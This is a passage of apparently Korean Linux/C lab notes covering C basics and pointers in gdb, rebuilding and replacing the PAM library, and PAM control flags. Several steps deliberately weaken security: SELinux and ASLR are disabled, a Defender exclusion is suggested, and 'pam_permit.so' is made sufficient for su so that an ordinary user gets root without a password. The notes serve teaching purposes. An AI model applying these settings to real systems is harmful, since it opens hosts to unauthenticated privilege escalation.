 51     /* step through arguments */
 52     for (ctrl=0; argc-- &gt; 0; ++argv) {

# cp .libs/pam_rootok.so /usr/lib64/security/
cp: overwrite `/usr/lib64/security/pam_rootok.so&#39;? y

SELinux 중지
# setenforce 0

# head -n 3 /etc/pam.d/su
#%PAM-1.0
auth        sufficient    pam_rootok.so
# Uncomment the following line to implicitly trust users in the &quot;wheel&quot; group.

# su -
_pam_parse()  &lt;-- 소스코드에서 수정한 함수가 출력된다.
마지막 로그인: 금  3월 24 10:40:00 KST 2023 일시 pts/0
# exit


-- whileTest.c --
/*
 * 파일명: whileTest.c
 * 프로그램 설명: 반복문 while문 연습
 * 작성자: 리눅스마스터넷
 */

int main()
{
    int i = 1;              // 초깃값

    while (i &lt;= 5)          // 조건식
    {
        printf(&quot;%d\n&quot;, i);  // 실행문
        i += 1;             // 증감식
    }

    return 0;
}
-- whileTest.c --

-- forTest.c --
/*
 * 파일명: forTest.c
 * 프로그램 설명: 반복문 for문 연습
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

int main()
{
    int i;

    // 초깃값;    조건식;   증감식
    for (i = 1; i &lt;= 5; i += 1)          
    {
        printf(&quot;%d\n&quot;, i);  // 실행문
    }

    return 0;
}
-- forTest.c --

32bit용 라이브러리를 설치해야 -m32 옵션이 적용된다.
없으면 에러가 발생된다.
# gcc -Wall -m32 -g -o forTest forTest.c
# ./forTest
1
2
3
4
5

-g 옵션을 이용해서 컴파일을 해야 gdb를 이용해서 분석이 가능하다.
# gdb forTest
(gdb) b main
(gdb) r
(gdb) disp i
(gdb) n
(gdb) n
(gdb) n
(gdb) n
(gdb) n
(gdb) n
(gdb) n
(gdb) n
(gdb) n
(gdb) n
(gdb) n
18          return 0;
1: i = 6
(gdb) c
(gdb) q

Visual Studio 2022에서도 forTest.c 를 생성하여 분석한다.
만약 윈도우 디펜더가 exe 파일이 생성이되면 악성코드로 인식하고 삭제할 수 있으니
아래를 참고해서 exe가 만들어지는 솔루션 폴더를 예외처리를 설정한다.

윈도우 디펜더에서 예외처리하는 방법
https://cafe.naver.com/linuxmasternet/981
</code></pre><blockquote>
<p><strong>실습&gt; argc, argv 사용하기</strong></p>
</blockquote>
<pre><code>C언어서는 명령어도 인수의 개수 1개로 인식한다.

# vi argcTest.c
/*
 * 파일명: argcTest.c
 * 프로그램 설명: argc, argv 테스트
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

// int main()
// int main(int argc, char *argv[])
// int main(int argc, char **argv)
// int main(int argc, char **argv, char *envp[])
// int main(int argc, char **argv, char **envp)

int main(int argc, char **argv)
{
    // argc: argument count
    // argv: argument value, argument vector
    printf(&quot;argc: %d\n&quot;, argc);
    printf(&quot;argv[0]: %s\n&quot;, argv[0]);
    printf(&quot;argv[1]: %s\n&quot;, argv[1]);
    printf(&quot;argv[2]: %s\n&quot;, argv[2]);

    return 0;
}

# gcc -m32 -g -o argcTest argcTest.c
# ./argcTest
argc: 1
argv[0]: ./argcTest
argv[1]: (null)            &lt;-- 없다는 의미
argv[2]: XDG_SESSION_ID=7  &lt;-- 쓰레기값

# ./argcTest 111
argc: 2
argv[0]: ./argcTest
argv[1]: 111
argv[2]: (null)

# ./argcTest 111 222
argc: 3
argv[0]: ./argcTest
argv[1]: 111
argv[2]: 222

이 소스코드의 문제점은 인수가 3개 이상 들어와도 인식할 수 없다.
이유는 소스코드 3개까지만 하드코딩 되어 있어서 안된다.
그래서 이것을 인식하기 위해서는 argc 개수만큼 반복문을 이용해서 돌리면 된다.
# ./argcTest 111 222 333
argc: 4
argv[0]: ./argcTest
argv[1]: 111
argv[2]: 222


# ./argcTest 111 222 333 444 555
argc: 6
argv[0]: ./argcTest
argv[1]: 111
argv[2]: 222


# vi argcTest2.c
/*
 * 파일명: forTest.c
 * 프로그램 설명: 반복문 for문 연습
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

// int main()
// int main(int argc, char *argv[])
// int main(int argc, char **argv)
// int main(int argc, char **argv, char *envp[])
// int main(int argc, char **argv, char **envp)

int main(int argc, char **argv)
{
    // argc: argument count
    // argv: argument value, argument vector

    int i;

    printf(&quot;argc: %d\n&quot;, argc);

    for(i = 0; argc &gt; 0; argc--)
    {
        printf(&quot;argv[%d]: %s\n&quot;, i, argv[i]);
        i++;
    }

    return 0;
}

# gcc -m32 -g -o argcTest2 argcTest2.c
# ./argcTest2
argc: 1
argv[0]: ./argcTest2

# ./argcTest2 11
argc: 2
argv[0]: ./argcTest2
argv[1]: 11

# ./argcTest2 11 22
argc: 3
argv[0]: ./argcTest2
argv[1]: 11
argv[2]: 22

# ./argcTest2 11 22 33
argc: 4
argv[0]: ./argcTest2
argv[1]: 11
argv[2]: 22
argv[3]: 33

# ./argcTest2 11 22 33 44
argc: 5
argv[0]: ./argcTest2
argv[1]: 11
argv[2]: 22
argv[3]: 33
argv[4]: 44</code></pre><blockquote>
<p><strong>실습&gt; 자료형</strong></p>
</blockquote>
<pre><code>Shift + V &gt; &quot;ay: 레지스터 a에 블럭잡은 코드를 복사한다.
:reg  : 레지스터 확인
&quot;aP   : 레지스터 a에 저장된 값을 복사한다.

1. 소스코드 작성
# vi dataType.c
/*
 * 파일명: dataType.c
 * 프로그램 설명: 자료형
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

// 형식: 자료형 변수명;
// 형식: 자료형 변수명 = 값;
int main()
{
    int i;

    i = 7;

    printf(&quot;i = %d\n&quot;, i);

    return 0;
}

2. 컴파일/실행
# gcc -m32 -g -o dataType dataType.c
# ./dataType
i = 7

3. gdb 분석
# alias gdb=&#39;gdb -q&#39;
# vi .bashrc
  :
  :(생략)
alias vi=&#39;vim&#39;
alias gdb=&#39;gdb -q&#39;
alias gcc=&#39;gcc -Wall -m32 -g&#39;

gdb로 실행파일 dataType을 분석한다.
# gdb dataType
Reading symbols from /root/dataType...done.
(gdb) b main
(gdb) r
(gdb) n
17          printf(&quot;i = %d\n&quot;, i);
(gdb) p i
$1 = 7
(gdb) p &amp;i
$2 = (int *) 0xffffd62c
(gdb) x/xw &amp;i
0xffffd62c:     0x00000007
(gdb) n
i = 7
19          return 0;
(gdb) c
(gdb) q</code></pre><blockquote>
<p><strong>실습&gt; 배열</strong></p>
</blockquote>
<pre><code>1. 소스코드 작성
# vi array1.c
/*
 * 파일명: array1.c
 * 프로그램 설명: 배열
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

int main()
{
    int a[5];  // 배열의 이름은 메모리 주소다!
    // a == &amp;a[0]
    // &amp;a[0]

    a[0] = 1;
    a[1] = 2;
    a[2] = 3;
    a[3] = 4;
    a[4] = 5;

    printf(&quot;%d %d %d %d %d \n&quot;, a[0], a[1], a[2], a[3], a[4]);

    return 0;
}

# alias gcc
alias gcc=&#39;gcc -Wall -m32 -g&#39;
# gcc -o array1 array1.c
# ./array1
1 2 3 4 5

# gdb array1
Reading symbols from /root/array1...done.
(gdb) b main
(gdb) r
13          a[0] = 1;
(gdb) n
14          a[1] = 2;
(gdb) n
15          a[2] = 3;
(gdb) n
16          a[3] = 4;
(gdb) n
17          a[4] = 5;
(gdb) n
19          printf(&quot;%d %d %d %d %d \n&quot;, a[0], a[1], a[2], a[3], a[4]);
(gdb) n
1 2 3 4 5
21          return 0;

(gdb) p a
$1 = {1, 2, 3, 4, 5}
(gdb) p &amp;a
$2 = (int (*)[5]) 0xffffd61c
(gdb) x/xw &amp;a
0xffffd61c:     0x00000001
(gdb) x/5xw &amp;a
0xffffd61c:     0x00000001      0x00000002      0x00000003      0x00000004
                  | | | |         | | | |         | | | |         | | | |         
                  | | | +- 1c     | | | +-- 20    | | | +-- 24    | | | +-- 28
                  | | +-- 1d      | | +-- 21      | | +-- 25      | | +-- 29
                  | +-- 1e        | +-- 22        | +-- 26        | +-- 2a 
                  +-- 1f          +-- 23          +-- 27          +-- 2b   

0xffffd62c:     0x00000005
                  | | | |     
                  | | | +-- 2c
                  | | +-- 2d
                  | +-- 2e
                  +-- 2f
(gdb) p &amp;a[0]
$3 = (int *) 0xffffd61c
(gdb) p &amp;a[1]
$4 = (int *) 0xffffd620
(gdb) p &amp;a[2]
$5 = (int *) 0xffffd624
(gdb) p &amp;a[3]
$6 = (int *) 0xffffd628
(gdb) p &amp;a[4]
$7 = (int *) 0xffffd62c

(gdb) c
(gdb) q</code></pre><blockquote>
<p><strong>실습&gt; 자료형2</strong></p>
</blockquote>
<pre><code># cat dataType2.c
/*
 * 파일명: dataType2.c
 * 프로그램 설명: 자료형
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

// 형식: 자료형 변수명;
// 형식: 자료형 변수명 = 값;
int main()
{
    // 문자 &#39;A&#39;
    // 문자 &quot;Hello&quot; &lt;-- 컴파일 에러
    // 문자열  &quot;Hello&quot;
    char ch = &#39;A&#39;;  // ASCII 문자 1개만 저장

    printf(&quot;ch = %c\n&quot;, ch);

    return 0;
}

# gcc -o dataType2 dataType2.c
# ./dataType2
ch = A

# gdb dataType2
Reading symbols from /root/dataType2...done.
(gdb) b main
(gdb) r
16          char ch = &#39;A&#39;;
(gdb) n
18          printf(&quot;ch = %c\n&quot;, ch);
(gdb) n
ch = A
20          return 0;
(gdb) p ch
$1 = 65 &#39;A&#39;
(gdb) p &amp;ch
$2 = 0xffffd62f &quot;A@\204\004\b&quot;  &lt;-- 이상?
(gdb) x/xw &amp;ch
0xffffd62f:     0x04844041  &lt;-- 
                  | | | |     
                  | | | +-- 2f  &lt;-- ch 변수
                  | | +-- 30  &lt;-- 사용 안함 (쓰레기값으로 우리한테는 필요없는 값이다.)
                  | +-- 31  &lt;-- 사용 안함 (쓰레기값 우리한테는 필요없는 값이다.)
                  +-- 32  &lt;-- 사용 안함 (쓰레기값 우리한테는 필요없는 값이다.)
(gdb) c
Continuing.
[Inferior 1 (process 74839) exited normally]

-- dataType3.c --
/*
 * 파일명: dataType3.c
 * 프로그램 설명: 자료형
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

int main()
{
    char ch1 = &#39;A&#39;;
    char ch2 = &#39;B&#39;;
    char ch3 = &#39;C&#39;;
    char ch4 = &#39;D&#39;;

    printf(&quot;%c %c %c %c\n&quot;, ch1, ch2, ch3, ch4);

    return 0;
}
-- dataType3.c --
# gcc -o dataType3 dataType3.c
# ./dataType3
A B C D

# gdb dataType3
Reading symbols from /root/dataType3...done.
(gdb) b main
(gdb) r
11          char ch1 = &#39;A&#39;;
(gdb) n
12          char ch2 = &#39;B&#39;;
(gdb) n
13          char ch3 = &#39;C&#39;;
(gdb) n
14          char ch4 = &#39;D&#39;;
(gdb) n
16          printf(&quot;%c %c %c %c\n&quot;, ch1, ch2, ch3, ch4);
(gdb) n
A B C D
18          return 0;
(gdb) p &amp;ch1
$1 = 0xffffd62f &quot;Ap\204\004\b&quot;
(gdb) p &amp;ch2
$2 = 0xffffd62e &quot;BAp\204\004\b&quot;
(gdb) p &amp;ch3
$3 = 0xffffd62d &quot;CBAp\204\004\b&quot;
(gdb) p &amp;ch4
$4 = 0xffffd62c &quot;DCBAp\204\004\b&quot;
(gdb) x/xw &amp;ch4
0xffffd62c:     0x41424344
                  | | | |     
                  | | | +-- 2c  &lt;-- ch4 변수
                  | | +-- 2d  &lt;-- ch3
                  | +-- 2e  &lt;-- ch2
                  +-- 2f  &lt;-- ch1
(gdb) c
(gdb) q</code></pre><blockquote>
<p><strong>실습&gt; 배열</strong></p>
</blockquote>
<pre><code>동일한 자료형을 연속된 공간이 같이 묶어 놓은 것!
관리가 편하다.

아스키코드표
https://ko.wikipedia.org/wiki/ASCII

-- array2.c --
/*
 * 파일명: array2.c
 * 프로그램 설명: 배열
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

int main()
{
    char ch[6] = &quot;ABCDE&quot;;

    printf(&quot;%c %c %c %c %c\n&quot;, ch[0], ch[1], ch[2], ch[3], ch[4]);
    printf(&quot;%s\n&quot;, ch);

    return 0;
}
-- array2.c --
# gcc -o array2.c array2.c
# ./array2
A B C D E
ABCDE

# gdb array2
Reading symbols from /root/array2...done.
(gdb) b main
Breakpoint 1 at 0x8048448: file array2.c, line 11.
(gdb) r
11          char ch[6] = &quot;ABCDE&quot;;
(gdb) n
13          printf(&quot;%c %c %c %c %c\n&quot;, ch[0], ch[1], ch[2], ch[3], ch[4]);
(gdb) n
A B C D E
14          printf(&quot;%s\n&quot;, ch);
(gdb)
ABCDE
16          return 0;

ch 변수의 주소를 출력한다.
(gdb) p &amp;ch
$1 = (char (*)[6]) 0xffffd62a

ch변수(배열) 의 주소부터 16진수(x)형태로 워드크기(w, 4byte) 만큼 2개를 출력한다.
- 배열의 이름은 메모리 주소이므로 가능하다.
(gdb) x/2xw ch
0xffffd62a:     0x44434241      0xd0000045

ch변수의 주소부터 16진수(x)형태로 워드크기(w, 4byte) 만큼 2개를 출력한다.
(gdb) x/2xw &amp;ch
0xffffd62a:     0x44434241      0xd0000045

ch[0]방의 주소부터 16진수(x)형태로 워드크기(w, 4byte) 만큼 2개를 출력한다.
(gdb) x/2xw &amp;ch[0]
0xffffd62a:     0x44434241      0xd0000045

(gdb) x/1xb &amp;ch[0]
0xffffd62a:     0x41
(gdb) x/1xb &amp;ch[1]
0xffffd62b:     0x42
(gdb) x/1xb &amp;ch[2]
0xffffd62c:     0x43
(gdb) x/1xb &amp;ch[3]
0xffffd62d:     0x44
(gdb) x/1xb &amp;ch[4]
0xffffd62e:     0x45
(gdb) x/1xb &amp;ch[5]
0xffffd62f:     0x00
(gdb) c
Continuing.
[Inferior 1 (process 74904) exited normally]
(gdb) q</code></pre><blockquote>
<p><strong>실습&gt; 배열</strong></p>
</blockquote>
<pre><code>리눅스에서 ASLR(Address Space Layout Randomization) 주소 랜덤화 기능을 Off 시키기
ASLR On : 프로그램이 실행될때마다 실행되는 메모리 주소가 변경됨
ASLR Off: 프로그램이 실행될때마다 실행되는 메모리 주소가 고정됨
커널 파라미터: 
/proc/sys/kernel/randomize_va_space : 0 이면 Off
/proc/sys/kernel/randomize_va_space : 1 이면 On
/proc/sys/kernel/randomize_va_space : 2 이면 On

# echo 0 &gt; /proc/sys/kernel/randomize_va_space

-- array2.c --
/*
 * 파일명: array2.c
 * 프로그램 설명: 배열
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

int main()
{
    char ch[6] = &quot;ABCDE&quot;;

    // printf 서식 문자열
    // %c: 문자, %s: 문자열, %d: 정수, %p: 메모리 주소
    printf(&quot;%c %c %c %c %c\n&quot;, ch[0], ch[1], ch[2], ch[3], ch[4]);
    printf(&quot;%s\n&quot;, ch);
    printf(&quot;%p %p %p\n&quot;, ch, &amp;ch, &amp;ch[0]);

    return 0;
}
-- array2.c --
# gcc -o array2 array2.c
# ./array2
A B C D E
ABCDE
0xffffd65a 0xffffd65a 0xffffd65a

# ./array2
A B C D E
ABCDE
0xffffd65a 0xffffd65a 0xffffd65a

# ./array2
A B C D E
ABCDE
0xffffd65a 0xffffd65a 0xffffd65a

# ldd array2
        linux-gate.so.1 =&gt;  (0xf7fd9000)
        libc.so.6 =&gt; /lib/libc.so.6 (0xf7e06000)
        /lib/ld-linux.so.2 (0xf7fda000)
# ldd array2
        linux-gate.so.1 =&gt;  (0xf7fd9000)
        libc.so.6 =&gt; /lib/libc.so.6 (0xf7e06000)
        /lib/ld-linux.so.2 (0xf7fda000)
# ldd array2
        linux-gate.so.1 =&gt;  (0xf7fd9000)
        libc.so.6 =&gt; /lib/libc.so.6 (0xf7e06000)
        /lib/ld-linux.so.2 (0xf7fda000)

# gdb array2
(gdb) b main
(gdb) r
11          char ch[6] = &quot;ABCDE&quot;;
(gdb) n
13          printf(&quot;%c %c %c %c %c\n&quot;, ch[0], ch[1], ch[2], ch[3], ch[4]);
(gdb) n
A B C D E
14          printf(&quot;%s\n&quot;, ch);
(gdb) n
ABCDE
15          printf(&quot;%p %p %p\n&quot;, ch, &amp;ch, &amp;ch[0]);
(gdb) n
0xffffd62a 0xffffd62a 0xffffd62a
17          return 0;
(gdb) p &amp;ch
$1 = (char (*)[6]) 0xffffd62a
(gdb) x/2xw &amp;ch
0xffffd62a:     0x44434241      0xd0000045
(gdb) x/2xw ch
0xffffd62a:     0x44434241      0xd0000045
(gdb) x/2xw &amp;ch[0]
0xffffd62a:     0x44434241      0xd0000045
(gdb) x/2xw 0xffffd62a
0xffffd62a:     0x44434241      0xd0000045
(gdb) c
(gdb) q</code></pre><blockquote>
<p><strong>실습&gt; 포인터</strong></p>
</blockquote>
<pre><code>-- pointer1.c --
/*
 * 파일명: pointer1.c
 * 프로그램 설명: 포인터
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

int main()
{
    int a = 1;

    printf(&quot;a: %d, &amp;a: %p\n&quot;, a, &amp;a);

    return 0;
}

# ./pointer1
a: 1, &amp;a: 0xffffd65c
-- pointer1.c --

# gcc -o pointer1 pointer1.c

# ./pointer1
a: 1, &amp;a: 0xffffd65c


-- pointer1.c --
/*
 * 파일명: pointer1.c
 * 프로그램 설명: 포인터
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

int main()
{
    int a = 1;
    int *p;

    p = &amp;a;

    printf(&quot;*&amp;a: %d, a: %d, &amp;a: %p\n&quot;, *&amp;a, a, &amp;a);
    printf(&quot; *p: %d, p: %p, &amp;p: %p\n&quot;, *p,  p, &amp;p);

    return 0;
}
-- pointer1.c --

# gcc -o pointer1 pointer1.c
# ./pointer1
*&amp;a: 1, a: 1, &amp;a: 0xffffd65c
 *p: 1, p: 0xffffd65c, &amp;p: 0xffffd658

-- pointer1.c --
/*
 * 파일명: pointer1.c
 * 프로그램 설명: 포인터
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

int main()
{
    int a = 1;
    int *p;

    p = &amp;a;

    printf(&quot; *&amp;a: %d, a: %d, &amp;a: %p\n&quot;, *&amp;a, a, &amp;a);
    printf(&quot;  *p: %d, p: %p, &amp;p: %p\n&quot;, *p,  p, &amp;p);
    printf(&quot;**&amp;p: %d\n&quot;, **&amp;p);

    return 0;
}
-- pointer1.c --

# gcc -o pointer1 pointer1.c
# ./pointer1
 *&amp;a: 1, a: 1, &amp;a: 0xffffd65c
  *p: 1, p: 0xffffd65c, &amp;p: 0xffffd658
**&amp;p: 1

gdb로 포인터 분석하기
# gdb pointer1
Reading symbols from /root/pointer1...done.
(gdb) b main
(gdb) r
(gdb) n 5
 *&amp;a: 1, a: 1, &amp;a: 0xffffd62c
  *p: 1, p: 0xffffd62c, &amp;p: 0xffffd628
**&amp;p: 1
20          return 0;

a변수에 저장된 값을 보여준다.
(gdb) p a
$1 = 1

a변수의 주소값을 보여준다.
(gdb) p &amp;a
$2 = (int *) 0xffffd62c

p변수에 저장된 값을 보여준다.
(gdb) p p
$3 = (int *) 0xffffd62c

p변수의 주소값을 보여준다.
(gdb) p &amp;p
$4 = (int **) 0xffffd628

(gdb) x/xw &amp;a   &lt;-- x/xw a 는 에러 (이유는 a는 주소가 아니기 때문이다.)
0xffffd62c:     0x00000001

변수 p에 저장된 값(a변수의 주소)을 따라가서 그 안에 저장된 값을 보여준다.
- 1이 출력한다.
(gdb) x/xw p
0xffffd62c:     0x00000001

p변수의 주소안에 저장된 값을 출력한다.
(gdb) x/xw &amp;p
0xffffd628:     0xffffd62c  &lt;-- a변수의 주소값

0xffffd62c: a변수의 주소이므로 a변수에 저장된 값 1을 출력한다.
(gdb) x/xw 0xffffd62c
0xffffd62c:     0x00000001

0xffffd628: p변수의 주소이므로 p변수에 저장된 값인 a의 주소를 출력한다.
(gdb) x/xw 0xffffd628
0xffffd628:     0xffffd62c

*0xffffd628: 0xffffd628 메모리 주소에 저장된 값( a변수의 주소 0xffffd62c)을 따라가서 그 안에 저장된 값을 출력한다. 
그러므로 1이 출력된다.
(gdb) x/xw *0xffffd628
0xffffd62c:     0x00000001

a의 주소를 출력한다.
(gdb) p &amp;a
$7 = (int *) 0xffffd62c

a의 주소에 저장된 값을 출력한다.
(gdb) p *&amp;a
$8 = 1

a의 주소에 저장된 값을 출력한다.
(gdb) x/xw 0xffffd62c
0xffffd62c:     0x00000001

a의 주소에 저장된 값을 출력한다.
(gdb) x/xw &amp;a
0xffffd62c:     0x00000001

p주소에 저장된 값을 출력한다.
(gdb) x/xw &amp;p
0xffffd628:     0xffffd62c  &lt;-- a의 주소

p에 저장된 주소에 값을 출력한다.
(gdb) x/xw p
0xffffd62c:     0x00000001  &lt;-- a의 값

(gdb) c
(gdb) q


# ./pointer2
 ch: AAA
&amp;ch[0]: AAA

p: AAA
p: AAA</code></pre><blockquote>
<p><strong>실습&gt; 배열과 포인터</strong></p>
</blockquote>
<pre><code>-- pointer2.c --
/*
 * 파일명: pointer2.c
 * 프로그램 설명: 포인터
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

int main()
{
    char ch[4] = &quot;AAA&quot;;
    char *p;

    p = ch;

    printf(&quot; ch: %s\n&quot;, ch);
    printf(&quot;&amp;ch[0]: %s\n&quot;, &amp;ch[0]);

    printf(&quot;\n&quot;);

    printf(&quot;p: %s\n&quot;, p);
    printf(&quot;*&amp;p: %s\n&quot;, *&amp;p);

    return 0;
}
-- pointer2.c --

# gcc -o pointer2 pointer2.c
# ./pointer2
 ch: AAA
&amp;ch[0]: AAA

p: AAA
*&amp;p: AAA

gdb로 pointer2를 분석한다.
# gdb pointer2
Reading symbols from /root/pointer2...done.
(gdb) b main
(gdb) r
(gdb) n 7
 ch: AAA
&amp;ch[0]: AAA

p: AAA
*&amp;p: AAA
24          return 0;

(gdb) p ch
$1 = &quot;AAA&quot;
(gdb) p &amp;ch
$2 = (char (*)[4]) 0xffffd62c
(gdb) p &amp;ch[0]
$3 = 0xffffd62c &quot;AAA&quot;
(gdb) x/xw ch
0xffffd62c:     0x00414141

ch 변수의 크기를 확인한다.
p sizeof(변수)
(gdb) p sizeof(ch)
$4 = 4
(gdb) p sizeof(p)
$5 = 4
(gdb) p p
$6 = 0xffffd62c &quot;AAA&quot;
(gdb) x/xw p
0xffffd62c:     0x00414141
(gdb) x/xw &amp;p
0xffffd628:     0xffffd62c
(gdb) c
(gdb) q


원격으로 PC를 제어하는 프로그램
- 구글에서 애니데스크를 검색해서 다운로드 받는다.


OpenSSH 패키지도 인증은 PAM을 이용한다.
[root@localhost Linux-PAM-1.1.8]# grep -i &#39;Usepam&#39; /etc/ssh/sshd_config 
# WARNING: &#39;UsePAM no&#39; is not supported in Red Hat Enterprise Linux and may cause several
UsePAM yes

[root@localhost Linux-PAM-1.1.8]# ldd /usr/sbin/sshd | head
    linux-vdso.so.1 =&gt;  (0x00007ffc63d54000)
    libfipscheck.so.1 =&gt; /lib64/libfipscheck.so.1 (0x00007fa4628fe000)
    libwrap.so.0 =&gt; /lib64/libwrap.so.0 (0x00007fa4626f3000)
    libaudit.so.1 =&gt; /lib64/libaudit.so.1 (0x00007fa4624ca000)
    libpam.so.0 =&gt; /lib64/libpam.so.0 (0x00007fa4622bb000)          &lt;-- 
    libselinux.so.1 =&gt; /lib64/libselinux.so.1 (0x00007fa462094000)
    libsystemd.so.0 =&gt; /lib64/libsystemd.so.0 (0x00007fa461e63000)
    libcrypto.so.10 =&gt; /lib64/libcrypto.so.10 (0x00007fa461a00000)
    libdl.so.2 =&gt; /lib64/libdl.so.2 (0x00007fa4617fc000)
    libldap-2.4.so.2 =&gt; /lib64/libldap-2.4.so.2 (0x00007fa4615a7000)


entOS 7.9.2009에서 사용법: 
# cd
# yum -y install yum-utils bzip2 flex-devel
# useradd mockbuild
# yumdownloader --downloadonly --source pam
# rpm -Uvh pam-1.1.8-23.el7.src.rpm

컴파일 에러 때문에 flex-devel을 설치했는데 그래도 
에러가 발생되서 개발툴 전체를 설치한다.
# yum -y groupinstall &quot;Development Tools&quot;

# cd rpmbuild/SOURCES
# tar xjf Linux-PAM-1.1.8.tar.bz2
# cd Linux-PAM-1.1.8
# ./configure
# make  &lt;-- 첫 번째 make
  &lt;== 컴파일이 완료되면 실행파일들이 생긴다.

[root@localhost Linux-PAM-1.1.8]# cd libpam
[root@localhost libpam]# vi pam_auth.c 

 13 
 14 int pam_authenticate(pam_handle_t *pamh, int flags)
 15 {
 16     int retval;
 17     printf(&quot;&gt;&gt;&gt; %s: pam_authenticate() 호출! &lt;&lt;&lt;\n&quot;, __FILE__);  //  __FILE__: pam_auth.c
 18 
 19     D((&quot;pam_authenticate called&quot;));
 20 

make 이후에 pam_auth.c 소스가 수정 되었기 때문에 다시 make로 컴파일을 해야 한다.
[root@localhost libpam]# make

각 오브젝트들을 공유라이브러리 libpam.so.0.83.1 로 묶어서 생성한다. 
[root@localhost libpam]# ls -Z .libs/
lrwxrwxrwx. root      root      unconfined_u:object_r:admin_home_t:s0 libpam.la -&gt; ../libpam.la
-rw-r--r--. root      root      unconfined_u:object_r:admin_home_t:s0 libpam.lai
lrwxrwxrwx. root      root      unconfined_u:object_r:admin_home_t:s0 libpam.so -&gt; libpam.so.0.83.1
lrwxrwxrwx. root      root      unconfined_u:object_r:admin_home_t:s0 libpam.so.0 -&gt; libpam.so.0.83.1
-rwxr-xr-x. root      root      unconfined_u:object_r:admin_home_t:s0 libpam.so.0.83.1
-rw-r--r--. root      root      unconfined_u:object_r:admin_home_t:s0 pam_account.o
-rw-r--r--. root      root      unconfined_u:object_r:admin_home_t:s0 pam_audit.o
-rw-r--r--. root      root      unconfined_u:object_r:admin_home_t:s0 pam_auth.o
  :
  :(생략)

수정한 pam 공유라이브러리
[root@localhost libpam]# ls -l .libs/libpam.so*
lrwxrwxrwx. 1 root root     16  3월 27 23:48 .libs/libpam.so -&gt; libpam.so.0.83.1
lrwxrwxrwx. 1 root root     16  3월 27 23:48 .libs/libpam.so.0 -&gt; libpam.so.0.83.1
-rwxr-xr-x. 1 root root 234440  3월 27 23:48 .libs/libpam.so.0.83.1

원래의 pam 공유라이브러리
[root@localhost libpam]# ls -l /usr/lib64/libpam.so*
lrwxrwxrwx. 1 root root    16  3월  4 08:12 /usr/lib64/libpam.so -&gt; libpam.so.0.83.1
lrwxrwxrwx. 1 root root    16  3월 27 01:46 /usr/lib64/libpam.so.0 -&gt; libpam.so.0.83.1
-rwxr-xr-x. 1 root root 61680  4월  1  2020 /usr/lib64/libpam.so.0.83.1

컴파일된 공유라이브러리 libpam.so.0.83.1 파일을 /usr/lib64 디렉터리로 이동시킨다.
[root@localhost libpam]# mv .libs/libpam.so.0.83.1 /usr/lib64/
mv: overwrite `/usr/lib64/libpam.so.0.83.1&#39;? y  &lt;-- 이전 pam 공유라이브러리를 덮어쓴다.

[root@localhost libpam]# chcon -t lib_t /usr/lib64/libpam.so.0.83.1 

[root@localhost libpam]# su -
&gt;&gt;&gt;pam_auth.c: pam_authenticate() 호출! &lt;&lt;&lt;
마지막 로그인: 화  3월 28 00:09:52 KST 2023 일시 pts/2
[root@localhost ~]# 

PAM은 공유라이브러리, 동적라이브러리를 동시에 사용한다.
일반 애플리케이션(myprogram)이 PAM을 이용해서 인증을 하기 위해서는 PAM에 대한 소스코드를 작성한다.
컴파일할 때 공유/동적라이브러리로 컴파일한다.
# ldd myprogram
  :
    libpam.so.0 =&gt; /lib64/libpam.so.0 (0x00007fa4622bb000)          &lt;-- 
  :
myprogram의 PAM 설정파일(/etc/pam.d/myprogram)에 설정을 한다.
PAM모듈을 사용하는데 이것은 동적라이브러리이다.


o Type

auth
사용자 인증에 사용

account
인증과 상관 없는 계정 관리를 수행. 사용자의 특성(위치, 시간, 권한) 등을 확인하여 접근 확인

password
패스워드를 변경 시 auth 모듈과 함께 사용 됨(패스워드 변경할 수 있는 모듈을 지정)

session
사용자 인증 수행 전 후에 수행(사용자 홈 디렉토리 마운팅/언마운팅, 로그인/로그아웃, 사용자 서비스 제공/제한, 로그 기록 등)

o Control
sufficient
모듈의 인증 반환이 성공인 경우 즉시 인증 성공
required의 실패 이 후에 호출된 경우나 모듈의 실패는 인증에 영향을 주지 않음

required
모듈의 인증 반환이 실패인 경우 다른 모듈의 인증 요청은 수행하나 최종적으로 인증은 거부(모듈의 성공 시 다음 모듈 호출)

requisite
모듈의 인증 반환이 실패인 경우 즉시 인증 거부(모듈의 성공 시 다음 모듈 호출)

optional
선택 사항. 보통 이 모듈의 인증 반환은 무시되나 인증의 성공/실패가 불분명 시 모듈의 결과에 따라 결정


실습&gt; sufficient

sufficient
모듈의 인증 반환이 성공인 경우 즉시 인증 성공
required의 실패 이 후에 호출된 경우나 모듈의 실패는 인증에 영향을 주지 않음


터미널을 2개 열어서 작업한다.

첫 번째 터미널에서는 /etc/pam.d/su 파일을 열어서 pam_permit.so 를 추가한다.
# vi /etc/pam.d/su
  1 #%PAM-1.0
  2 auth        sufficient  pam_permit.so 
  3 auth        sufficient  pam_rootok.so
  :
  :(생략)

두 번째 터미널에서 pam을 다시 설치하고 user1로 변경한다.
# yum -y reinstall pam
# su - user1
[user1@localhost ~]$ su -
마지막 로그인: 화  3월 28 01:00:31 KST 2023 일시 pts/2
[root@localhost ~]# exit

pam_permit.so 의 순서를 변경한다.
# vi /etc/pam.d/su
  1 #%PAM-1.0
  2 auth        sufficient  pam_rootok.so 
  3 auth        sufficient  pam_permit.so


[user1@localhost ~]$ su -
마지막 로그인: 화  3월 28 01:04:29 KST 2023 일시 pts/2
[root@localhost ~]# 
</code></pre><blockquote>
<p><strong>실습&gt; required</strong></p>
</blockquote>
<pre><code>required
모듈의 인증 반환이 실패인 경우 다른 모듈의 인증 요청은 수행하나 최종적으로 인증은 거부(모듈의 성공 시 다음 모듈 호출)

-- /etc/pam.d/su --
  1 #%PAM-1.0
